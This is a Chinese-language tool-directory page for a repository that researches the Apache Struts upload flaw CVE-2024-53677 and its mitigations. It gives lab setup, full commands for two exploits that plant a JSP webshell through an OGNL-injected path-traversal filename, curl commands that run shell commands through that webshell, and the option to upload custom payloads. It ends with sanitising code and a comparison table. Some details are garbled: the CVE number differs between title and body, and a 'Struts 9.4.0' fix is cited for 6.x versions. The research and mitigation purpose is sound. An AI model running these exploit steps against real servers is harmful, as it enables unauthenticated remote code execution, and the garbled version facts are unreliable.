Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
struts-uploader-vulnerability — 针对CVE-2024-53667的漏洞利用选项及其修复措施研究 | Kitploit
工具/GitHubGitHub/baburkin/struts-uploader-vulnerability
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubbaburkin/struts-uploader-vulnerability

struts-uploader-vulnerability

针对CVE-2024-53667的漏洞利用选项及其修复措施研究

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2个月前尚未审核

CVE-2024-53677 — 漏洞利用原理及运行方法

漏洞概述

该缺陷在于 Struts 的 FileUploadInterceptor 如何将上传的文件名移交给 action 类。 正常情况下,拦截器会对文件名进行净化处理,但 Struts 也允许任何 multipart 参数被 ParametersInterceptor 当作 OGNL 表达式处理。将 top.UploadFileName (多文件 action 则使用 uploadFileName[0])作为表单字段发送,会通过 OGNL 直接调用 action.setUploadFileName(value),从而覆盖拦截器设置的值。

该 action 随后在写入文件时不进行任何路径净化:

root@kitploit:~
String uploadDir = "webapps/ROOT/uploads";          // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName);  // no sanitization

将 ../shell.jsp 作为文件名发送后,解析结果为:

root@kitploit:~
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp          ← served at http://localhost:8080/shell.jsp

将 JSP webshell 上传到该位置,即可实现未认证的远程代码执行(RCE)。


正在研究的漏洞利用

关于此漏洞,目前有两项漏洞利用正在研究中:

  1. Lab Tomcat 与漏洞利用(EQSTLab)
  2. Snyk 漏洞数据库

作为两个漏洞利用目标的 Lab Tomcat 应用服务器取自第一个仓库,并在容器(docker 或 podman)中运行。

本仓库中还提供了一个 Java 版本的 poc.py 漏洞利用程序,其源自第二个来源。

两个漏洞利用之间的细微差别见本文档末尾的并排对比表。


调查结果

两种漏洞利用均已在 Struts 6.3.0.2 上确认有效。

然而,当我们将 Struts 升级到 6.8.0 或 6.9.0 时,第一个漏洞利用(CVE-2024-53677.py)失效——原因是 Struts 9.4.0 中的修复。

第二个漏洞利用(StrutsExploitRunner)在 6.3.0.2、6.8.0、6.9.0 所有版本上均可正常工作,除非按照下方“缓解措施”一节中的建议更新了存在漏洞的应用程序代码。

调查的技术细节见下文。

实验环境搭建

克隆第一个仓库并切换到其根目录:

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677

你需要使用 docker(最初方案)或 podman(我们研究中使用的方案)来构建并运行被利用的 Lab Tomcat:

root@kitploit:~
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit

按照下文说明,在仓库根目录下的另一个 shell 中运行漏洞利用脚本,并激活 Python 虚拟环境。


使用 CVE-2024-53677.py

功能说明

通过 top.UploadFileName 注入路径穿越文件名,将 JSP webshell 上传到 /upload.action。硬编码的 web-shell 通过 ?action=cmd&cmd=<command> 接受命令。

命令

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp

-p 是作为 top.UploadFileName 传入的值。一个 ../ 就足以逃逸 uploads/ 目录,将文件放入 Web 根目录。

验证 RCE

root@kitploit:~
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

注意必需的 action=cmd 参数——硬编码的 webshell 在执行命令前会检查该参数。缺少该参数时,不会返回输出,而是返回 Unknown action.。

上传自定义载荷

root@kitploit:~
python CVE-2024-53677.py \
  -u http://localhost:8080/upload.action \
  -p ../shell.jsp \
  -f ./my_payload.jsp

使用 StrutsExploitRunner

功能说明

针对 /uploads.action(多文件变体),通过 OGNL 将 uploadFileName[0] 设置为路径穿越值。底层绕过原理相同,只是参数名和 action 类不同。

构建漏洞利用 jar

构建和运行漏洞利用程序需要 JDK 17 或更高版本(java 二进制文件应位于你的 PATH 中)。

在本仓库根目录下运行以下命令,以构建可执行的 uber-jar:

root@kitploit:~
./mvnw clean package

运行漏洞利用程序

root@kitploit:~
java -jar target/exploit-1.0-SNAPSHOT.jar \
  -u http://localhost:8080 \
  --upload_endpoint /uploads.action \
  --paths .. \
  --filenames shell.jsp

--filenames 固定文件名,以便你知道从哪里获取它。如果不指定该参数,脚本会生成随机文件名,并在输出中打印。

验证 RCE

该应用程序上传的 web-shell 使用更简单的 ?cmd= 接口:

root@kitploit:~
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

针对仍停留在 Struts 6.x 的应用程序的缓解措施

标准的修复方案是升级到 Struts 7.x,该版本彻底重构了文件上传机制。如果升级受阻(JDK 8 兼容性、第三方依赖限制),可以采用以下缓解措施。


在 action 类中净化文件名(影响最大,代码层面)

这是最稳健的修复方案,因为无论任何拦截器传入什么内容,它都能生效。在构建目标路径之前,从文件名中去除所有路径组件,然后验证解析后的路径仍位于预期目录内。

root@kitploit:~
import java.nio.file.Paths;

public String doUpload() {
    if (upload != null && upload.length() > 0) {
        try {
            File uploadDirectory = new File("/var/app/uploads");
            if (!uploadDirectory.exists()) uploadDirectory.mkdirs();

            // Strip any path components the attacker injected via top.UploadFileName
            String safeFileName = Paths.get(uploadFileName).getFileName().toString();

            File destFile = new File(uploadDirectory, safeFileName);

            // Confirm the resolved path is still inside the upload directory
            String canonicalDest = destFile.getCanonicalPath();
            String canonicalBase = uploadDirectory.getCanonicalPath();
            if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
                addActionError("Invalid upload path.");
                return ERROR;
            }

            // ... copy bytes as before

Paths.get("../shell.jsp").getFileName() 返回 shell.jsp,因此即使 top.UploadFileName 传入的是路径穿越字符串,在执行任何 I/O 操作之前,它也会被简化为一个普通文件名。

同样的模式也适用于 UploadsAction——在 for 循环内对每个 uploadFileName.get(i) 应用该模式。


并排对比

下载工具
CVE-2024-53677.pyStrutsExploitRunner
端点/upload.action/uploads.action
OGNL 参数top.UploadFileNameuploadFileName[0]
Action 类UploadAction(单文件)UploadsAction(多文件)
webshell 调用?action=cmd&cmd=<cmd>?cmd=<cmd>
默认路径缺陷无--paths 默认值过深,使用 .. 覆盖